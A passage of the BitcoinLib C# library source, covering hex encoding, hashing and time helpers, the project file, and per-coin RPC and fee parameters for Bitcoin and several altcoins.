49 | var s = new char[2 * count + spaces];
50 | for (var i = offset; i < offset + count; i++)
51 | {
52 | if (Space && i != 0)
53 | s[pos++] = ' ';
54 | var c = HexTbl[data[i]];
55 | s[pos++] = c[0];
56 | s[pos++] = c[1];
57 | }
58 | return new string(s);
59 | }
60 |
61 | public override byte[] DecodeData(string encoded)
62 | {
63 | if (encoded == null)
64 | throw new ArgumentNullException(nameof(encoded));
65 | if (encoded.Length % 2 == 1)
66 | throw new FormatException("Invalid Hex String");
67 |
68 | var result = new byte[encoded.Length / 2];
69 | for (int i = 0, j = 0; i < encoded.Length; i += 2, j++)
70 | {
71 | var a = IsDigit(encoded[i]);
72 | var b = IsDigit(encoded[i + 1]);
73 | if (a == -1 || b == -1)
74 | throw new FormatException("Invalid Hex String");
75 | result[j] = (byte) (((uint) a << 4) | (uint) b);
76 | }
77 | return result;
78 | }
79 |
80 | public bool IsValid(string str)
81 | {
82 | return str.ToCharArray().All(c => IsDigit(c) != -1) && str.Length % 2 == 0;
83 | }
84 |
85 | public static int IsDigit(char c)
86 | {
87 | return c + 1 <= HexValueArray.Length
88 | ? HexValueArray[c]
89 | : -1;
90 | }
91 |
92 | public static bool IsWellFormed(string str)
93 | {
94 | try
95 | {
96 | Encoders.Hex.DecodeData(str);
97 | return true;
98 | }
99 | catch (FormatException)
100 | {
101 | return false;
102 | }
103 | }
104 | }
105 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/GlobalConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.Auxiliary
5 | {
6 | public static class GlobalConstants
7 | {
8 | public const ushort MillisecondsInASecond = 1000;
9 | public const ushort MinutesInADay = 1440;
10 | }
11 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/Hashing.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System.Linq;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 |
8 | namespace BitcoinLib.Auxiliary
9 | {
10 | public class Hashing
11 | {
12 | public static string GetSha256(string text)
13 | {
14 | return new SHA256Managed().ComputeHash(Encoding.UTF8.GetBytes(text)).Aggregate(string.Empty, (current, x) => current + $"{x:x2}");
15 | }
16 | }
17 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/Auxiliary/UnixTime.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.Auxiliary
7 | {
8 | public static class UnixTime
9 | {
10 | private static readonly DateTime Epoch = new DateTime(1970, 1, 1, 0, 0, 0, 0);
11 |
12 | public static DateTime UnixTimeToDateTime(double unixTimeStamp)
13 | {
14 | return Epoch.AddSeconds(unixTimeStamp).ToUniversalTime();
15 | }
16 | }
17 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/BitcoinLib.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netstandard2.0
5 | BitcoinLib
6 | The most complete, up-to-date, battle-tested library and RPC wrapper for Bitcoin, Litecoin, Dogecoin and other Bitcoin clones in .NET.
7 | © George Kimionis 2018
8 | 1.15.0.0
9 | 1.15.0.0
10 | George Kimionis
11 | https://github.com/GeorgeKimionis/BitcoinLib/blob/master/LICENSE
12 | https://github.com/GeorgeKimionis/BitcoinLib
13 | c#;dotnet;bitcoin
14 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Base/CoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 |
6 | namespace BitcoinLib.CoinParameters.Base
7 | {
8 | public abstract class CoinConstants where T : CoinConstants, new()
9 | {
10 | private static readonly Lazy Lazy = new Lazy(() => new T());
11 | public static T Instance => Lazy.Value;
12 | }
13 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Base/CoinParameters.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using System;
5 | using System.Configuration;
6 | using System.Diagnostics;
7 | using BitcoinLib.Auxiliary;
8 | using BitcoinLib.Services.Coins.Base;
9 | using BitcoinLib.Services.Coins.Bitcoin;
10 | using BitcoinLib.Services.Coins.BitcoinCash;
11 | using BitcoinLib.Services.Coins.Colx;
12 | using BitcoinLib.Services.Coins.Cryptocoin;
13 | using BitcoinLib.Services.Coins.Dallar;
14 | using BitcoinLib.Services.Coins.Dash;
15 | using BitcoinLib.Services.Coins.Dogecoin;
16 | using BitcoinLib.Services.Coins.Litecoin;
17 | using BitcoinLib.Services.Coins.Mogwaicoin;
18 | using BitcoinLib.Services.Coins.Sarcoin;
19 | using BitcoinLib.Services.Coins.Smartcash;
20 |
21 | namespace BitcoinLib.Services
22 | {
23 | public partial class CoinService
24 | {
25 | public CoinParameters Parameters { get; }
26 |
27 | public class CoinParameters
28 | {
29 | #region Constructor
30 |
31 | public CoinParameters(ICoinService coinService,
32 | string daemonUrl,
33 | string rpcUsername,
34 | string rpcPassword,
35 | string walletPassword,
36 | short rpcRequestTimeoutInSeconds)
37 | {
38 | if (!string.IsNullOrWhiteSpace(daemonUrl))
39 | {
40 | DaemonUrl = daemonUrl;
41 | UseTestnet = false; // this will force the CoinParameters.SelectedDaemonUrl dynamic property to automatically pick the daemonUrl defined above
42 | IgnoreConfigFiles = true;
43 | RpcUsername = rpcUsername;
44 | RpcPassword = rpcPassword;
45 | WalletPassword = walletPassword;
46 | }
47 |
48 | if (rpcRequestTimeoutInSeconds > 0)
49 | {
50 | RpcRequestTimeoutInSeconds = rpcRequestTimeoutInSeconds;
51 | }
52 | else
53 | {
54 | short rpcRequestTimeoutTryParse = 0;
55 |
56 | if (short.TryParse(ConfigurationManager.AppSettings.Get("RpcRequestTimeoutInSeconds"), out rpcRequestTimeoutTryParse))
57 | {
58 | RpcRequestTimeoutInSeconds = rpcRequestTimeoutTryParse;
59 | }
60 | }
61 |
62 | if (IgnoreConfigFiles && (string.IsNullOrWhiteSpace(DaemonUrl) || string.IsNullOrWhiteSpace(RpcUsername) || string.IsNullOrWhiteSpace(RpcPassword)))
63 | {
64 | throw new Exception($"One or more required parameters, as defined in {GetType().Name}, were not found in the configuration file!");
65 | }
66 |
67 | if (IgnoreConfigFiles && Debugger.IsAttached && string.IsNullOrWhiteSpace(WalletPassword))
68 | {
69 | Console.ForegroundColor = ConsoleColor.Yellow;
70 | Console.WriteLine("[WARNING] The wallet password is either null or empty");
71 | Console.ResetColor();
72 | }
73 |
74 | #region BitcoinCash
75 | if (coinService is BitcoinCashService)
76 | {
77 | if (!IgnoreConfigFiles)
78 | {
79 | DaemonUrl = ConfigurationManager.AppSettings.Get("BitcoinCash_DaemonUrl");
80 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("BitcoinCash_DaemonUrl_Testnet");
81 | RpcUsername = ConfigurationManager.AppSettings.Get("BitcoinCash_RpcUsername");
82 | RpcPassword = ConfigurationManager.AppSettings.Get("BitcoinCash_RpcPassword");
83 | WalletPassword = ConfigurationManager.AppSettings.Get("BitcoinCash_WalletPassword");
84 | }
85 |
86 | CoinShortName = "BCH";
87 | CoinLongName = "BitcoinCash";
88 | IsoCurrencyCode = "BCH";
89 |
90 | TransactionSizeBytesContributedByEachInput = 148;
91 | TransactionSizeBytesContributedByEachOutput = 34;
92 | TransactionSizeFixedExtraSizeInBytes = 10;
93 |
94 | FreeTransactionMaximumSizeInBytes = 1000;
95 | FreeTransactionMinimumOutputAmountInCoins = 0.01M;
96 | FreeTransactionMinimumPriority = 57600000;
97 | FeePerThousandBytesInCoins = 0.0001M;
98 | MinimumTransactionFeeInCoins = 0.0001M;
99 | MinimumNonDustTransactionAmountInCoins = 0.0000543M;
100 |
101 | TotalCoinSupplyInCoins = 21000000;
102 | EstimatedBlockGenerationTimeInMinutes = 10;
103 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
104 |
105 | BaseUnitName = "Satoshi";
106 | BaseUnitsPerCoin = 100000000;
107 | CoinsPerBaseUnit = 0.00000001M;
108 | }
109 | #endregion
110 |
111 | #region Bitcoin
112 |
113 | else if (coinService is BitcoinService)
114 | {
115 | if (!IgnoreConfigFiles)
116 | {
117 | DaemonUrl = ConfigurationManager.AppSettings.Get("Bitcoin_DaemonUrl");
118 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Bitcoin_DaemonUrl_Testnet");
119 | RpcUsername = ConfigurationManager.AppSettings.Get("Bitcoin_RpcUsername");
120 | RpcPassword = ConfigurationManager.AppSettings.Get("Bitcoin_RpcPassword");
121 | WalletPassword = ConfigurationManager.AppSettings.Get("Bitcoin_WalletPassword");
122 | }
123 |
124 | CoinShortName = "BTC";
125 | CoinLongName = "Bitcoin";
126 | IsoCurrencyCode = "XBT";
127 |
128 | TransactionSizeBytesContributedByEachInput = 148;
129 | TransactionSizeBytesContributedByEachOutput = 34;
130 | TransactionSizeFixedExtraSizeInBytes = 10;
131 |
132 | FreeTransactionMaximumSizeInBytes = 1000;
133 | FreeTransactionMinimumOutputAmountInCoins = 0.01M;
134 | FreeTransactionMinimumPriority = 57600000;
135 | FeePerThousandBytesInCoins = 0.0001M;
136 | MinimumTransactionFeeInCoins = 0.0001M;
137 | MinimumNonDustTransactionAmountInCoins = 0.0000543M;
138 |
139 | TotalCoinSupplyInCoins = 21000000;
140 | EstimatedBlockGenerationTimeInMinutes = 10;
141 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
142 |
143 | BaseUnitName = "Satoshi";
144 | BaseUnitsPerCoin = 100000000;
145 | CoinsPerBaseUnit = 0.00000001M;
146 | }
147 |
148 | #endregion
149 |
150 | #region Litecoin
151 |
152 | else if (coinService is LitecoinService)
153 | {
154 | if (!IgnoreConfigFiles)
155 | {
156 | DaemonUrl = ConfigurationManager.AppSettings.Get("Litecoin_DaemonUrl");
157 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Litecoin_DaemonUrl_Testnet");
158 | RpcUsername = ConfigurationManager.AppSettings.Get("Litecoin_RpcUsername");
159 | RpcPassword = ConfigurationManager.AppSettings.Get("Litecoin_RpcPassword");
160 | WalletPassword = ConfigurationManager.AppSettings.Get("Litecoin_WalletPassword");
161 | }
162 |
163 | CoinShortName = "LTC";
164 | CoinLongName = "Litecoin";
165 | IsoCurrencyCode = "XLT";
166 |
167 | TransactionSizeBytesContributedByEachInput = 148;
168 | TransactionSizeBytesContributedByEachOutput = 34;
169 | TransactionSizeFixedExtraSizeInBytes = 10;
170 |
171 | FreeTransactionMaximumSizeInBytes = 5000;
172 | FreeTransactionMinimumOutputAmountInCoins = 0.001M;
173 | FreeTransactionMinimumPriority = 230400000;
174 | FeePerThousandBytesInCoins = 0.001M;
175 | MinimumTransactionFeeInCoins = 0.001M;
176 | MinimumNonDustTransactionAmountInCoins = 0.001M;
177 |
178 | TotalCoinSupplyInCoins = 84000000;
179 | EstimatedBlockGenerationTimeInMinutes = 2.5;
180 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000;
181 | BlockMaximumSizeInBytes = 250000;
182 |
183 | BaseUnitName = "Litetoshi";
184 | BaseUnitsPerCoin = 100000000;
185 | CoinsPerBaseUnit = 0.00000001M;
186 | }
187 |
188 | #endregion
189 |
190 | #region Dogecoin
191 |
192 | else if (coinService is DogecoinService)
193 | {
194 | if (!IgnoreConfigFiles)
195 | {
196 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dogecoin_DaemonUrl");
197 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dogecoin_DaemonUrl_Testnet");
198 | RpcUsername = ConfigurationManager.AppSettings.Get("Dogecoin_RpcUsername");
199 | RpcPassword = ConfigurationManager.AppSettings.Get("Dogecoin_RpcPassword");
200 | WalletPassword = ConfigurationManager.AppSettings.Get("Dogecoin_WalletPassword");
201 | }
202 |
203 | CoinShortName = "Doge";
204 | CoinLongName = "Dogecoin";
205 | IsoCurrencyCode = "XDG";
206 | TransactionSizeBytesContributedByEachInput = 148;
207 | TransactionSizeBytesContributedByEachOutput = 34;
208 | TransactionSizeFixedExtraSizeInBytes = 10;
209 | FreeTransactionMaximumSizeInBytes = 1; // free txs are not supported from v.1.8+
210 | FreeTransactionMinimumOutputAmountInCoins = 1;
211 | FreeTransactionMinimumPriority = 230400000;
212 | FeePerThousandBytesInCoins = 1;
213 | MinimumTransactionFeeInCoins = 1;
214 | MinimumNonDustTransactionAmountInCoins = 0.1M;
215 | TotalCoinSupplyInCoins = 100000000000;
216 | EstimatedBlockGenerationTimeInMinutes = 1;
217 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000;
218 | BlockMaximumSizeInBytes = 500000;
219 | BaseUnitName = "Koinu";
220 | BaseUnitsPerCoin = 100000000;
221 | CoinsPerBaseUnit = 0.00000001M;
222 | }
223 |
224 | #endregion
225 |
226 | #region Sarcoin
227 |
228 | else if (coinService is SarcoinService)
229 | {
230 | if (!IgnoreConfigFiles)
231 | {
232 | DaemonUrl = ConfigurationManager.AppSettings.Get("Sarcoin_DaemonUrl");
233 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Sarcoin_DaemonUrl_Testnet");
234 | RpcUsername = ConfigurationManager.AppSettings.Get("Sarcoin_RpcUsername");
235 | RpcPassword = ConfigurationManager.AppSettings.Get("Sarcoin_RpcPassword");
236 | WalletPassword = ConfigurationManager.AppSettings.Get("Sarcoin_WalletPassword");
237 | }
238 |
239 | CoinShortName = "SAR";
240 | CoinLongName = "Sarcoin";
241 | IsoCurrencyCode = "SAR";
242 |
243 | TransactionSizeBytesContributedByEachInput = 148;
244 | TransactionSizeBytesContributedByEachOutput = 34;
245 | TransactionSizeFixedExtraSizeInBytes = 10;
246 |
247 | FreeTransactionMaximumSizeInBytes = 0;
248 | FreeTransactionMinimumOutputAmountInCoins = 0;
249 | FreeTransactionMinimumPriority = 0;
250 | FeePerThousandBytesInCoins = 0.00001M;
251 | MinimumTransactionFeeInCoins = 0.00001M;
252 | MinimumNonDustTransactionAmountInCoins = 0.00001M;
253 |
254 | TotalCoinSupplyInCoins = 2000000000;
255 | EstimatedBlockGenerationTimeInMinutes = 1.5;
256 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
257 |
258 | BaseUnitName = "Satoshi";
259 | BaseUnitsPerCoin = 100000000;
260 | CoinsPerBaseUnit = 0.00000001M;
261 | }
262 |
263 | #endregion
264 |
265 | #region Dash
266 |
267 | else if (coinService is DashService)
268 | {
269 | if (!IgnoreConfigFiles)
270 | {
271 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dash_DaemonUrl");
272 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dash_DaemonUrl_Testnet");
273 | RpcUsername = ConfigurationManager.AppSettings.Get("Dash_RpcUsername");
274 | RpcPassword = ConfigurationManager.AppSettings.Get("Dash_RpcPassword");
275 | WalletPassword = ConfigurationManager.AppSettings.Get("Dash_WalletPassword");
276 | }
277 |
278 | CoinShortName = "DASH";
279 | CoinLongName = "Dash";
280 | IsoCurrencyCode = "DASH";
281 |
282 | TransactionSizeBytesContributedByEachInput = 148;
283 | TransactionSizeBytesContributedByEachOutput = 34;
284 | TransactionSizeFixedExtraSizeInBytes = 10;
285 |
286 | FreeTransactionMaximumSizeInBytes = 1000;
287 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M;
288 | FreeTransactionMinimumPriority = 57600000;
289 | FeePerThousandBytesInCoins = 0.0001M;
290 | MinimumTransactionFeeInCoins = 0.001M;
291 | MinimumNonDustTransactionAmountInCoins = 0.0000543M;
292 |
293 | TotalCoinSupplyInCoins = 18900000;
294 | EstimatedBlockGenerationTimeInMinutes = 2.7;
295 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
296 |
297 | BaseUnitName = "Duff";
298 | BaseUnitsPerCoin = 100000000;
299 | CoinsPerBaseUnit = 0.00000001M;
300 | }
301 |
302 | #endregion
303 |
304 | #region Mogwai
305 | else if (coinService is MogwaicoinService)
306 | {
307 | if (!IgnoreConfigFiles)
308 | {
309 | DaemonUrl = ConfigurationManager.AppSettings.Get("Mogwaicoin_DaemonUrl");
310 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Mogwaicoin_DaemonUrl_Testnet");
311 | RpcUsername = ConfigurationManager.AppSettings.Get("Mogwaicoin_RpcUsername");
312 | RpcPassword = ConfigurationManager.AppSettings.Get("Mogwaicoin_RpcPassword");
313 | WalletPassword = ConfigurationManager.AppSettings.Get("Mogwaicoin_WalletPassword");
314 | }
315 | CoinShortName = "Mogwaicoin";
316 | CoinLongName = "Mogwaicoin";
317 | IsoCurrencyCode = "MOG";
318 | TransactionSizeBytesContributedByEachInput = 148;
319 | TransactionSizeBytesContributedByEachOutput = 34;
320 | TransactionSizeFixedExtraSizeInBytes = 10;
321 | FreeTransactionMaximumSizeInBytes = 1000;
322 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M;
323 | FreeTransactionMinimumPriority = 57600000;
324 | FeePerThousandBytesInCoins = 0.0001M;
325 | MinimumTransactionFeeInCoins = 0.001M;
326 | MinimumNonDustTransactionAmountInCoins = 0.0000543M;
327 | TotalCoinSupplyInCoins = 50000000;
328 | EstimatedBlockGenerationTimeInMinutes = 2.0;
329 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
330 | BaseUnitName = "Puff";
331 | BaseUnitsPerCoin = 100000000;
332 | CoinsPerBaseUnit = 0.00000001M;
333 | }
334 | #endregion
335 |
336 | #region Smartcash
337 |
338 | else if (coinService is SmartcashService)
339 | {
340 | if (!IgnoreConfigFiles)
341 | {
342 | DaemonUrl = ConfigurationManager.AppSettings.Get("Smartcash_DaemonUrl");
343 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Smartcash_DaemonUrl_Testnet");
344 | RpcUsername = ConfigurationManager.AppSettings.Get("Smartcash_RpcUsername");
345 | RpcPassword = ConfigurationManager.AppSettings.Get("Smartcash_RpcPassword");
346 | WalletPassword = ConfigurationManager.AppSettings.Get("Smartcash_WalletPassword");
347 | }
348 |
349 | CoinShortName = "SMART";
350 | CoinLongName = "Smartcash";
351 | IsoCurrencyCode = "SMART";
352 |
353 | TransactionSizeBytesContributedByEachInput = 148;
354 | TransactionSizeBytesContributedByEachOutput = 34;
355 | TransactionSizeFixedExtraSizeInBytes = 10;
356 |
357 | FreeTransactionMaximumSizeInBytes = 0; // free txs are not supported
358 | FreeTransactionMinimumOutputAmountInCoins = 0;
359 | FreeTransactionMinimumPriority = 0;
360 | FeePerThousandBytesInCoins = 0.0001M;
361 | MinimumTransactionFeeInCoins = 0.001M;
362 | MinimumNonDustTransactionAmountInCoins = 0.00001M;
363 |
364 | TotalCoinSupplyInCoins = 5000000000;
365 | EstimatedBlockGenerationTimeInMinutes = 0.916667;
366 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
367 |
368 | BaseUnitName = "Smartoshi";
369 | BaseUnitsPerCoin = 100000000;
370 | CoinsPerBaseUnit = 0.00000001M;
371 | }
372 |
373 | #endregion
374 |
375 | #region Dallar
376 |
377 | else if (coinService is DallarService)
378 | {
379 | if (!IgnoreConfigFiles)
380 | {
381 | DaemonUrl = ConfigurationManager.AppSettings.Get("Dallar_DaemonUrl");
382 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Dallar_DaemonUrl_Testnet");
383 | RpcUsername = ConfigurationManager.AppSettings.Get("Dallar_RpcUsername");
384 | RpcPassword = ConfigurationManager.AppSettings.Get("Dallar_RpcPassword");
385 | WalletPassword = ConfigurationManager.AppSettings.Get("Dallar_WalletPassword");
386 | }
387 |
388 | CoinShortName = "DAL";
389 | CoinLongName = "Dallar";
390 | IsoCurrencyCode = "DAL";
391 |
392 | TransactionSizeBytesContributedByEachInput = 148;
393 | TransactionSizeBytesContributedByEachOutput = 34;
394 | TransactionSizeFixedExtraSizeInBytes = 10;
395 |
396 | FreeTransactionMaximumSizeInBytes = 1000;
397 | FreeTransactionMinimumOutputAmountInCoins = 0.001M;
398 | FreeTransactionMinimumPriority = 230400000;
399 | FeePerThousandBytesInCoins = 0.001M;
400 | MinimumTransactionFeeInCoins = 0.0001M;
401 | MinimumNonDustTransactionAmountInCoins = 0.001M;
402 |
403 | TotalCoinSupplyInCoins = 80000000;
404 | EstimatedBlockGenerationTimeInMinutes = 1.0;
405 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 16000;
406 | BlockMaximumSizeInBytes = 750000;
407 |
408 | BaseUnitName = "Allar";
409 | BaseUnitsPerCoin = 100000000;
410 | CoinsPerBaseUnit = 0.00000001M;
411 | }
412 |
413 | #endregion
414 |
415 | #region Colx
416 |
417 | else if (coinService is ColxService)
418 | {
419 | if (!IgnoreConfigFiles)
420 | {
421 | DaemonUrl = ConfigurationManager.AppSettings.Get("Colx_DaemonUrl");
422 | DaemonUrlTestnet = ConfigurationManager.AppSettings.Get("Colx_DaemonUrl_Testnet");
423 | RpcUsername = ConfigurationManager.AppSettings.Get("Colx_RpcUsername");
424 | RpcPassword = ConfigurationManager.AppSettings.Get("Colx_RpcPassword");
425 | WalletPassword = ConfigurationManager.AppSettings.Get("Colx_WalletPassword");
426 | }
427 | CoinShortName = "COLX";
428 | CoinLongName = "ColossusXT Coin";
429 | IsoCurrencyCode = "COLX";
430 |
431 | TransactionSizeBytesContributedByEachInput = 148;
432 | TransactionSizeBytesContributedByEachOutput = 34;
433 | TransactionSizeFixedExtraSizeInBytes = 10;
434 |
435 | FreeTransactionMaximumSizeInBytes = 1000;
436 | FreeTransactionMinimumOutputAmountInCoins = 0.0001M;
437 | FreeTransactionMinimumPriority = 57600000;
438 | FeePerThousandBytesInCoins = 0.0001M;
439 | MinimumTransactionFeeInCoins = 0.001M;
440 | MinimumNonDustTransactionAmountInCoins = 0.0000543M;
441 |
442 | TotalCoinSupplyInCoins = 18900000;
443 | EstimatedBlockGenerationTimeInMinutes = 2.7;
444 | BlocksHighestPriorityTransactionsReservedSizeInBytes = 50000;
445 |
446 | BaseUnitName = "ucolx";
447 | BaseUnitsPerCoin = 100000000;
448 | CoinsPerBaseUnit = 0.00000001M;
449 | }
450 |
451 | #endregion
452 |
453 | #region Agnostic coin (cryptocoin)
454 |
455 | else if (coinService is CryptocoinService)
456 | {
457 | CoinShortName = "XXX";
458 | CoinLongName = "Generic Cryptocoin Template";
459 | IsoCurrencyCode = "XXX";
460 |
461 | // Note: The rest of the parameters will have to be defined at run-time
462 | }
463 |
464 | #endregion
465 |
466 | #region Uknown coin exception
467 |
468 | else
469 | {
470 | throw new Exception("Unknown coin!");
471 | }
472 |
473 | #endregion
474 |
475 | #region Invalid configuration / Missing parameters
476 |
477 | if (RpcRequestTimeoutInSeconds <= 0)
478 | {
479 | throw new Exception("RpcRequestTimeoutInSeconds must be greater than zero");
480 | }
481 |
482 | if (string.IsNullOrWhiteSpace(DaemonUrl)
483 | || string.IsNullOrWhiteSpace(RpcUsername)
484 | || string.IsNullOrWhiteSpace(RpcPassword))
485 | {
486 | throw new Exception($"One or more required parameters, as defined in {GetType().Name}, were not found in the configuration file!");
487 | }
488 |
489 | #endregion
490 | }
491 |
492 | #endregion
493 |
494 | public string BaseUnitName { get; set; }
495 | public uint BaseUnitsPerCoin { get; set; }
496 | public int BlocksHighestPriorityTransactionsReservedSizeInBytes { get; set; }
497 | public int BlockMaximumSizeInBytes { get; set; }
498 | public string CoinShortName { get; set; }
499 | public string CoinLongName { get; set; }
500 | public decimal CoinsPerBaseUnit { get; set; }
501 | public string DaemonUrl { private get; set; }
502 | public string DaemonUrlTestnet { private get; set; }
503 | public double EstimatedBlockGenerationTimeInMinutes { get; set; }
504 | public int ExpectedNumberOfBlocksGeneratedPerDay => (int) EstimatedBlockGenerationTimeInMinutes * GlobalConstants.MinutesInADay;
505 | public decimal FeePerThousandBytesInCoins { get; set; }
506 | public short FreeTransactionMaximumSizeInBytes { get; set; }
507 | public decimal FreeTransactionMinimumOutputAmountInCoins { get; set; }
508 | public int FreeTransactionMinimumPriority { get; set; }
509 | public bool IgnoreConfigFiles { get; }
510 | public string IsoCurrencyCode { get; set; }
511 | public decimal MinimumNonDustTransactionAmountInCoins { get; set; }
512 | public decimal MinimumTransactionFeeInCoins { get; set; }
513 | public decimal OneBaseUnitInCoins => CoinsPerBaseUnit;
514 | public uint OneCoinInBaseUnits => BaseUnitsPerCoin;
515 | public string RpcPassword { get; set; }
516 | public short RpcRequestTimeoutInSeconds { get; set; }
517 | public string RpcUsername { get; set; }
518 | public string SelectedDaemonUrl => !UseTestnet ? DaemonUrl : DaemonUrlTestnet;
519 | public ulong TotalCoinSupplyInCoins { get; set; }
520 | public int TransactionSizeBytesContributedByEachInput { get; set; }
521 | public int TransactionSizeBytesContributedByEachOutput { get; set; }
522 | public int TransactionSizeFixedExtraSizeInBytes { get; set; }
523 | public bool UseTestnet { get; set; }
524 | public string WalletPassword { get; set; }
525 | }
526 | }
527 | }
528 |
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Base/ICoinParameters.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.Services;
5 |
6 | namespace BitcoinLib.CoinParameters.Base
7 | {
8 | public interface ICoinParameters
9 | {
10 | CoinService.CoinParameters Parameters { get; }
11 | }
12 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Bitcoin/BitcoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.CoinParameters.Base;
5 |
6 | namespace BitcoinLib.CoinParameters.Bitcoin
7 | {
8 | public static class BitcoinConstants
9 | {
10 | public sealed class Constants : CoinConstants
11 | {
12 | public readonly int OneBitcoinInSatoshis = 100000000;
13 | public readonly decimal OneSatoshiInBTC = 0.00000001M;
14 | public readonly int SatoshisPerBitcoin = 100000000;
15 | public readonly string Symbol = "฿";
16 |
17 | #region Custom constructor example - commented out on purpose
18 |
19 | //private static readonly Lazy Lazy = new Lazy(() => new Constants());
20 |
21 | //public static Constants Instance
22 | //{
23 | // get
24 | // {
25 | // return Lazy.Value;
26 | // }
27 | //}
28 |
29 | //private Constants()
30 | //{
31 | // // custom logic here
32 | //}
33 |
34 | #endregion
35 | }
36 | }
37 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Bitcoin/IBitcoinConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.CoinParameters.Bitcoin
5 | {
6 | public interface IBitcoinConstants
7 | {
8 | BitcoinConstants.Constants Constants { get; }
9 | }
10 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Colx/ColxConstants.cs:
--------------------------------------------------------------------------------
1 | using BitcoinLib.CoinParameters.Base;
2 |
3 | namespace BitcoinLib.CoinParameters.Colx
4 | {
5 | public static class ColxConstants
6 | {
7 | public sealed class Constants : CoinConstants
8 | {
9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7;
10 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 34560;
11 | public readonly string Symbol = "COLX";
12 | }
13 | }
14 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Colx/IColxConstants.cs:
--------------------------------------------------------------------------------
1 | namespace BitcoinLib.CoinParameters.Colx
2 | {
3 | public interface IColxConstants
4 | {
5 | ColxConstants.Constants Constants { get; }
6 | }
7 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dallar/DallarConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | using BitcoinLib.CoinParameters.Base;
5 |
6 | namespace BitcoinLib.CoinParameters.Dallar
7 | {
8 | public static class DallarConstants
9 | {
10 | public sealed class Constants : CoinConstants
11 | {
12 | public readonly ushort CoinReleaseReduceEveryXInBlocks = 10080;
13 | public readonly ushort DifficultyIncreasesEveryXInBlocks = 6;
14 | public readonly uint OneDallarInAllars = 100000000;
15 | public readonly decimal OneAllarInDAL = 0.00000001M;
16 | public readonly decimal OneMicroDallarInDAL = 0.000001M;
17 | public readonly decimal OneMilliDallarInDAL = 0.001M;
18 | public readonly string Symbol = "D";
19 | }
20 | }
21 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dallar/IDallarConstants.cs:
--------------------------------------------------------------------------------
1 | // Copyright (c) 2014 - 2016 George Kimionis
2 | // See the accompanying file LICENSE for the Software License Aggrement
3 |
4 | namespace BitcoinLib.CoinParameters.Dallar
5 | {
6 | public interface IDallarConstants
7 | {
8 | DallarConstants.Constants Constants { get; }
9 | }
10 | }
--------------------------------------------------------------------------------
/src/BitcoinLib/CoinParameters/Dash/DashConstants.cs:
--------------------------------------------------------------------------------
1 | using BitcoinLib.CoinParameters.Base;
2 |
3 | namespace BitcoinLib.CoinParameters.Dash
4 | {
5 | public static class DashConstants
6 | {
7 | public sealed class Constants : CoinConstants
8 | {
9 | public readonly ushort CoinReleaseHalfsEveryXInYears = 7;
